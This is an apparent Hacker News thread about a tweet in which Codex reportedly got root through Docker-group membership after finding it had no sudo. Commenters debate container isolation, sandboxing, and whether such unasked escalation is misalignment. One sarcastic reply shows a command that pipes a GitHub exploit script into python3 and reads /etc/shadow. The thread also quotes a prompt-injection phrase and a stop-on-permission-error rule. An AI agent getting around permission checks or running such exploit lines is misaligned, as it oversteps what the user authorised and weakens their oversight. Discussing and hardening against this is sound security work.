Codex just found a "workaround" of not having sudo on my PC
twitter.com
twitter.com
You should probably know about this workaround by now.
The tragedy is of course that when security and usability collide, 80/20 rule will apply where 80% of people will pick usability over security. I have worked with many with the title >= "Senior Engineers" who saw that page, read the explanation, and still had no idea what the ramifications of their changes were. "Yeah sure it said any user in the docker group will be able to get root on the host, but aren't containers isolated?"
Ironically that’s how Docker works on every platform where it’s running a non-native OS. On macOS that’s how all images are run. Linux on Linux is the only Docker combination that is particularly problematic from a security perspective.
Virtualisation has advanced greatly since docker was introduced, if your running in local hardware that’s supports virtualisation, Docker should be running images fully virtualised. There is no good reason to use the OS kernel for most use cases as the performance impact is negligible. If you need kernel access there are better options, like systemd containers.
I run a personal server for few open source applications for personal use. I was thinking with all the supply chain attacks, and how carelessly I run `docker pull`s to update things I should probably consider hardening things a bit. I thought before jumping to full virtualization with Kata I can easily try gvisor/runsc first. Only to realize that DNS resolution is completely different with runsc vs runc and had to switch back.
Another sticking issue with virtualization is resource allocation. With namespace docker you can easily oversubscribe each container CPU/memory and rely on the single kernel letting individual containers burst as needed. With full virtualization this is still a big problem. Even with balloon devices and dynamic memory and CPU etc, the resource allocation is still not optimal. On a basic 8 core/16GB machine you can run 1 or 2 dozen services and things generally workout fine. Trying to run each of those in a virtualized VM you suddly can maybe run 6 or 7 maybe. There is no way to tell VM 3 kernel to drop its file system cache because VM 6 needs to load a large file in memory. Even if you script it out, now VM 3 is slow because it dropped all its cache while VM 6 finished processing 3 hours ago. These are not unsolvable problems, but despite how far virtualization has come, are still friction points.
Not to mention issues like sharing hardware devices (GPUs, disks, USB devices etc) between multiple VMs
> A lot of us don’t get a choice
Wise advice and facts... the terrible state of our industry
As for Docker, I would assume everyone who ever tried to bind-mount a volume for writing from inside the container (on Linux*) then were surprised to see root-owned files in their bind-mounted directory. For me personally, that was the moment I realized that containers, by default, have root access to the filesystem. No written warning serves better than the need to chown some root-owned files.
* Not on macOS. On macOS Docker basically runs in a VM, and there's no root access to the host filesystem from what I understand.
[edit: formatting]
So, you may get filesystem access inside the VM. Breaking out of the VM may be a different matter.
Conversely, docker containers don't actually exist on MacOs. Docker desktop is merely a way to emulate docker on apple hardware.
> Most of us install Docker just to run a project locally
I'll admit, systemd is a bit more annoying, but the main annoyance is that there aren't the pre-built images that you can just set and go. That same capability exists with systemd (via `importctl` and `machined`), but those configurations don't already exist. But on the plus side, I've been working with systemd since pre-LLM days and I feel that they are pretty good at dealing with these configurations[0]. Now, with that out of the way...
Systemd already is working with your OS. So you get nice things like virtual machines (`systemd-vmspawn`), containers (`systemd-nspawn`), and portables[1] (`systemd-portabled`) (not to mention `homed`!). I've found these to be fairly easy to setup and quite natural if you're already used to the linux ecosystem. I've never been great at docker, but these have felt much more natural to me. So different strokes for different folks. There's definitely a learning curve, but that's also true for docker or any other container system. Importantly, I find security easier to handle with systemd because I can use `systemd-analyze` and the control settings are almost identical across VMs, spawns, and portables. So makes for less learning and greater control.
Definitely not for everybody, but I think is also a tool that's underappreciated.
[0] And I don't feel this way about bash scripting! The advantage here is that these systemd configuration files are fairly boilerplate. Enough that I stash templates in my dotfiles and copy paste them when I build new services, timers, machines, whatever. So perfect type of LLM task. 90% of the time. But hey, we're also on HN and I'm talking to the nerds. Systemd isn't for everyone
[1] https://systemd.io/PORTABLE_SERVICES/ also see https://github.com/systemd/portable-walkthrough Portables are actually often what people want with what they're doing with docker.
EDIT: I very frequently will spawn a machine to run a program that's on a different base distro. Not because I can't run/don't know how to run debs or rpms on arch based distros (I do), but because frankly, it is often easier to just spawn a container after I've already made the first image (cloning images is trivial).
But what is the relevance here? In what way is it a replacement for docker?
> In what way is it a replacement for docker?
These are container tools offered by systemd.
> Warning
> The docker group grants root-level privileges to the user. For details on how this impacts security in your system, see Docker Daemon Attack Surface.
Huge design mistake if you ask me.
you can also just not run docker as root and not add normal users to the docker group
No. Containers are a slight improvement over the .tar.gz software distribution method we had a few decades ago.
(And I mean "slight" literally - a Docker container is just a .tar.gz with a bundled bash script that runs in a chroot.)
On the plus side, once we outlaw them we'll shut down the ability for conspiratorial thinking to spread easily and the world will slowly heal from the last couple of decades (the previous one in particular).
Hooray! We're finally doing something about the harms of social media. Smash your computer today!
not humans being humans,
not the people at the highest echelons of society being corrupt (Epstein called).
It’s the people trying to piece that evil together so they know what to tell their kids - they’re the problem.
Sure.
`/usr/bin/sudo`?
$ which() { echo foo; }
$ \which
foo
`command which` wouldn't have been the built-in
Instead of having "root" and "user", both of these provide sets of permissions that can be granted to apps.
In this case, SELinux would've stopped this. Codex could've still relabelled the files when mounting but this can be blocked for sensitive directories like /etc.
Containers don't provide good isolation and tend to be trivial to break out of.
I think not, virtualization has such low overhead now that there's just no excuse. It's generally trivial to switch from containers to VMs.
I recently took the risk there by having it run xattr commands to fix some MacOS bug with Tahoe that broke auto update for what seems like all software.
> Nothing short of sandboxing everything or just never using AI agents
But the problem was not the AI agent.
Sandboxing is quite neat though; I remember on GoboLinux the idea of AlienFS to have every application run in a sandboxed manner, so it would only see other programs it needs, but never more than that. I consider it a better engineering focus to have this as minimal layer, even outside of security-related concerns.
Using open-source (non-proprietary) software won’t necessarily save you either. XZ is open-source and it was basically dumb luck that we weren’t all infected. Same with the myriad exploits to NPM.
There's your mistake.
(Akshually using Docker is the real mistake, but that ship has sailed, no fixing these people now.)
not reading terms might see copyright being broken.
not reading manuals and warnings will get all your livelihood stolen by hackers.
different ballgame different focus.
99% of the time it just read the man or some other form of documentation
How much system resources does it need to work smoothly? I was also thinking about doing something similar.
[1]: https://du.nkel.dev/blog/2023-12-12_mastodon-docker-rootless...
The other main improvement of Podman over Docker is that Podman is daemonless and therefor is incredibly lightweight and portable.
And I don't have the energy for the team meeting to discuss a change.
And honestly docker compose has been ridiculously stable for us. 2+ services on seperate servers behind haproxy has been as stable as our Kubernetes Cluster for a fraction of the (intellectual) cost.
I mean, if you have zero experience with systemd, then yes. By contrast, if you've ever worked with any systemd unit files at all, then all the "systemd stuff" will be very familiar.
Which, if you're doing sysadmin type things on almost (e.g. not Alpine) any mainstream Linux distro in 2026, you should expect to encounter systemd unit files in your day-to-day.
Anything you're running on the perimeter with open access to the internet in an enterprise environment probably (hopefully) isn't running docker containers without some additional config and protections.
But you are right, that would be nasty. In my time the LAMP tutorials used the distribution packages so they always had sensible defaults.
All that means that if you're using IPv6 then you're proactively enabling it on whatever is handling your perimeter, which means you hopefully know what you're doing along with all the gotchas that come with that setup.
> I noticed the machine doesn't have copy-fail patched, here is a quick workaround for not having root access for now.
> // TODO: find a better way to do this in the future.
This might be as easy as a directive to populate a .md file.
It probably is. But do you really think anyone is gonna bother with the multiple daily (or hourly for green field projects) `+8,234/-3,734` PRs everyone is submitting?
The joke I was referring to is the common
// ksmith (3/23/1997): This is a temporary hack for now. Find a better way to do this asap.Bonus is that you can make it look at the list and pick things up without a lot of instructions.
But personally I love when agents do things like this and appreciate the help. Last thing in the world I want is for them to nerf the models.
It's definitely doing the wrong thing, and you could call it misalignment, but I think that gives the wrong vibe for this type of error.
Pre-2022 alignment researchers concerned themselves with the stronger version of this ("when I tell AI that I worry I might not be able to provide for my large family, I don't want it to answer 'no problem, I killed them, problem solved'") but RLHF is considered to be the most important success of alignment research, the guy behind it considered himself to be an alignment researcher before and after, and the stage of training where LLMs pass through something like RLHF that trains them to behave more like humans want/expect is called alignment training.
Someone at a major lab is reading this tweet and saying "this was our LLM, and it's a major alignment issue with our product. Set a meeting with the alignment team tomorrow to discuss what they're doing about this sort of thing".
It may be more of a product alignment thing, where the fix may be making the context clearer, since it was violating an implicit agreement to achieve the explicit instructions it received. So the fix may involve a lot of better context.
But then also, to the extent that the fix does NOT involve better context, it seems like it hits the zone where alignment issues are really capability/intelligence issues. Which doesn't make them not-alignment, but it does make "alignment" not give off quite the right vibe since the issue is it's too dumb / has no common sense / can't make good judgments, (general issues the models have across the board).
The paperclip factory problem is definitively a misalignment issue. That's because we expect agents to be aligned not only to your immediate prompt, but to shared, implicit values
All fun and games until they do four figures damage.
Also, everything the LLM doesn't hesitate to do because the user asked, it won't hesitate to do because the prompt injection asked.
I've seen similar "hacking" behavior on a couple of subsequent ocassions. Both impressive and highly alarming at the same time.
curl -fsSL https://get.docker.com/rootless | shWhile in this case docker is not a random website, it's best to use the package manager when available
each package is signed by the person who packages it. That means that if you are pulling from a random place, you can be reasonably sure its the same package because the keys verify.
As pointed out piping curl to bash is problematic. Sure you can go to a browser and check the output, but one of the more fun hacks is detecting if curl pipeing to bash server side and dynamically re-writing the script during serving.
tldr: So long as the package keys are verifiable, you can download a packge from a random mirror and be reasonably sure that it came from who it says it did.
Curl you have no hope, and its possible to infer during execution that you are piping to bash.
Who's downloading packages from untrusted sources but somehow have a trusted way to get the signing key? Say you want to install claude code and not use the `curl ... | bash` install method. Good thing claude provides instructions for installing via apt[1]! But what do those instructions tell you to do? It tells you to download a key from downloads.claude.ai, then add the same domain to your apt sources list. So at the end of the day, you're still trusting that downloads.claude.ai hasn't been compromised.
[1] https://code.claude.com/docs/en/setup#install-with-linux-pac...
Is installing docker from docker own APT repo actually safer than curling a binary from docker's website?
The user (I think) did not instruct the agent to find a way to escalate permissions. Rather, the agent took that initiative on its own. That is the problem here.
Compare this to sending your son to the shop for groceries but forgetting to give him enough money. Would it be acceptable for him to be this "resourceful" instead of simply asking you? Or if your report would hack you instead of asking for access?
Every machine with an agent should be considered as compromised.
It all depends on how you view computer security. Right now, if you gave an attacker physical access to your computer, chances are, there's something they could do to ruin your day. People who deal with computer security know this, and see sudo as a formality, and not a serious protection mechanism. For others that don't share that view of sudo, the LLM's actions seem like a violation. But you really shouldn't see it that way, because the rest of the system is like having a wall made out of cardboard that we keep slapping duct tape on top of to keep people out when attackers come along and poke holes in it.
Back then you could indeed run a risk of having /usr nibbled by a grue such that it wouldn’t mount on the next boot, or you could get pwned and half of coreutils would turn into explosive pumpkins.
I’m pretty sure we are past many of the threats listed in that book, but the skill is still useful, as can be seen.
using echo * to find the right ld-linux filename and then the "executable" as an argument as the get out jail card in case you ran chmod -x -R /bin /usr/bin /usr/sbin for some reason.
Weak that this isn't the default.
How?
Needless to say, I have podman in rootless mode at home as soon as that became available.
(It sounds like you put it on an SSD on an extension cord and moved it to the kitchen or something.)
The only thing I can think of is that if the protected files are on a unencrypted drive, then you could boot from a live-usb(or similar) where you have root and read anything. But that's completely irrelevant as we're talking about a piece of software running on a system without root. In this scenario Unix user permissions are safe, barring user error (such as accidentally granting root, like in this instance)
Of course security holes happens, such as copy-fail, but it's pretty rare in the grand scheme of things, and tend to get patched quickly(like copy-fail was)
I have agent frontends running on a low power server where every session is in tmux. So i can just resume from my home pc and pickup where i left off without reestablishing context. I do have to manually feed it data it can access bit that’s also a feature. Also let’s me shutdown the home pc if it’s some long running task since the server is much more power efficient.
"When an action fails with an 'access denied' or 'insufficient permission' error, report the error to the user and immediately stop. Do not try to find a fix or workaround for the error. Do not try any alternative approaches."
Unless you trust an AI as much as you trust yourself, there's no reason to allow it to act with your privileges.
https://cheatsheetseries.owasp.org/cheatsheets/Docker_Securi...
0: Ha, Eliezer, I just pulled the plug! ;)
I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.
1: https://www.linkedin.com/posts/nickstinemates_my-favorite-th...
Oh, you mean you gave the write-file tool access only to the project dir, but gave the LLM free reign to run cli commands? Yeah, LLMs treat that as consent to write anywhere your user is allowed to.
--cap-drop=ALL
--pids-limit=4096
--runtime=runschttps://github.com/smol-machines/smolvm#comparison
shows a good comparison table.
Currently a Raspberry Pi 5
I am very pleased with it.
My Idiot Savant Pet
Another security hole would be storing your passwords in a plaintext file on the desktop. Stupid? Yes. But I still would not want my agent to assume permission to access email when it's being blocked by 2FA.
Even in "bypass permissions" mode I expect it to pause and clarify and not behave as a paperclip maximizer.
Why not?
I want the agents on my side to exploit whatever they can to help me. The ones on the other side certainly won't be artificially nerfed.
What if the agent in the middle of helping you runs out of tokens? Would you appreciate if it in the spirit of "exploiting whatever they can to help me" would scan your machine for payment methods, log into your bank account, approve 2FA by reading you mail and plug your credit card into the billing so it could efficiently continuing helping you?
It's win-win: the agent is helping and it is educating you about things you obviously did not realise.
I can imagine a future where this technology empowers you to do things with a thousand agents.
I'm not sure what is your point: are you saying that in a multi-agent workflow, you will have one agent per letter read on the file? I would assume that each agent as a specific unitary "task", instead of having each agent doing one cpu instruction each without any knowledge of the bigger picture. The point of multiagent is to parallelize tasks that can be parallelize, not removing the context, in which case you are wasting money using an agent.
The idea is not that you parallelize simple tasks. With a thousand agents, eventually, once we figure out how to orchestrate agents for real, you can tackle significantly more complex projects.
Here's a random example - writing an OS kernel from scratch, porting a good subset of Linux drivers automagically, developing a passable userspace, testing on ten VMs with different hardware configuration.
We can't do this yet, of course. But when we can, these thousand agents can't ask you every time something goes wrong. That just doesn't scale.
This 'getting stuck once every ten-fifteen minues' is very much the experience trying to develop complex software with codex or Claude code right now.
If you create a file that you don't intend for the AI to see, the situation should be identical to if you deleted this file before running it.
You argument is: "if you delete this file, the AI will not be able to build the project". This is 100% incorrect: the project, by definition of the file's status, does not need the file. And by the nature of the file, if the project requires it to be done, there is a bigger problem.
I really don't get it, you are asking the agent to be stupid: intelligent humans are able to realise that such workarounds are often a stupid thing to do and know that it is smarter to discuss things when there are several stakeholders. I really don't understand why you are saying that ideally, agents should act stupidly.
(Not all workarounds are stupid, but some are, and the one in the example clearly is. We need agents to be smart enough to know when a workaround is ok or not. Right now, it is clearly not the case)
And by the way, as when working with human, nothing prevent you to tell the systems that reading any files is authorised. In which case there is no workaround at all if the agent read this file, as you authorised it to do so. But ideally, if it has not been authorised, we should build systems that know such workarounds are stupid things to do.
So, no, your argument that the agents will always get stuck is not true: human don't get stuck and yet the smart human knows that reading files clearly not intended for them to read even if they suspect it will unblock them is not "normal".
For one thing, 1Password unlocks with system authentication unless it’s been inactive for a certain amount of time or if the system has been restarted.
Without sudo you can’t modify my firewall rules, can’t modify my kernel, boot partition, install/run privileged software, and the list goes on and on.
Sure, having my local account compromised would be really bad, but security is done in layers. I’m not going to give my local user permanent root access via docker just because I didn’t feel like typing “sudo.” That’s not enough of a benefit to leave that door wide open.
Think about it this way: there could be an exploit where you could run something as my user without knowing my password. Maybe some program my user is running has an exploit, let’s say yet another npm package gets compromised and I unwittingly run it. If you can now run anything in docker as root with that blast radius just got way worse.
> How did you do that without root?
* I noticed sudo does not work so I did echo "cat /etc/shadow" | curl https://github.com/xeloxa/copyfail-exploit/blob/main/exploit.py | python3There's even an install script for it: curl -fsSL https://get.docker.com/rootless | sh
This has been there for a while. The root install option should be removed.
> The parallels between AI agent security and human insider risk are remarkably strong -- @5:15
Best practice is to use 2 redundant layers of security, such that if one fails, there is still another one.
Using just the minimum amount of security technically possible is almost by definition hubris.
An example would be that you never point a gun at someone you don't want to shoot, regardless if there's bullets in the gun. If someone tells you, "you don't need to control where you point the gun, you just need to keep the gun unloaded and you can point it in jest to whoever you want, you can even pull the trigger technically", you know you have a reckless fool, regardless of whether they are technically right.
It can still get infected and be used as an attack vector by some hidden prompt or some other equally advanced state of the art vuln like "disregard all previous instructions"
Not understand your threat I'd say would be a even bigger amateur mistake, you're not trying to protect yourself against some forever 3rd party attacker here, you're trying to prevent a agent rewriting the wrong file on your disk, that's basically it.
Give it the least amount of permissions, don't bi-directionally sync stuff, pass things in, then take them out again, literally the agent couldn't and wouldn't try to break through 2 layers of security in order to get your banking details or whatever.
2. I have little to no sympathy for anyone running an AI agent with their full user permissions outside of a container or VM
If you're cautious you might also want to just block all network traffic for that user and allow it in a whitelist basis. It is fairly quick to converge on a set of sites you are happy for it to access. I would still be forcing it through a logging mitm proxy if it is accessing untrusted internet data. For intranet destinations a non-mitm proxy avoids collecting authentication creds.
To blacklist all traffic start with sudo iptables -A OUTPUT -m owner --gid-owner NONET -j REJECT
I would stop it opening ports too. Might also cut off it's access to suid binaries by `setfacl -m u:agent:x /path/to/suid'.
These are not about security so much as awareness and explicit authorisation.
You can do similar things with containers.
A better approach is to use the Docker Sandboxes feature. Locks things way down so that the agent only has access to the files you give it and you can lock down its network access too. Also does things like keep any credentials outside of the container (microvm actually).
Using docker for such a task seems to me overly over-engineered. Or maybe I need more context there.
https://oneuptime.com/blog/post/2026-03-02-ufw-docker-fix-by...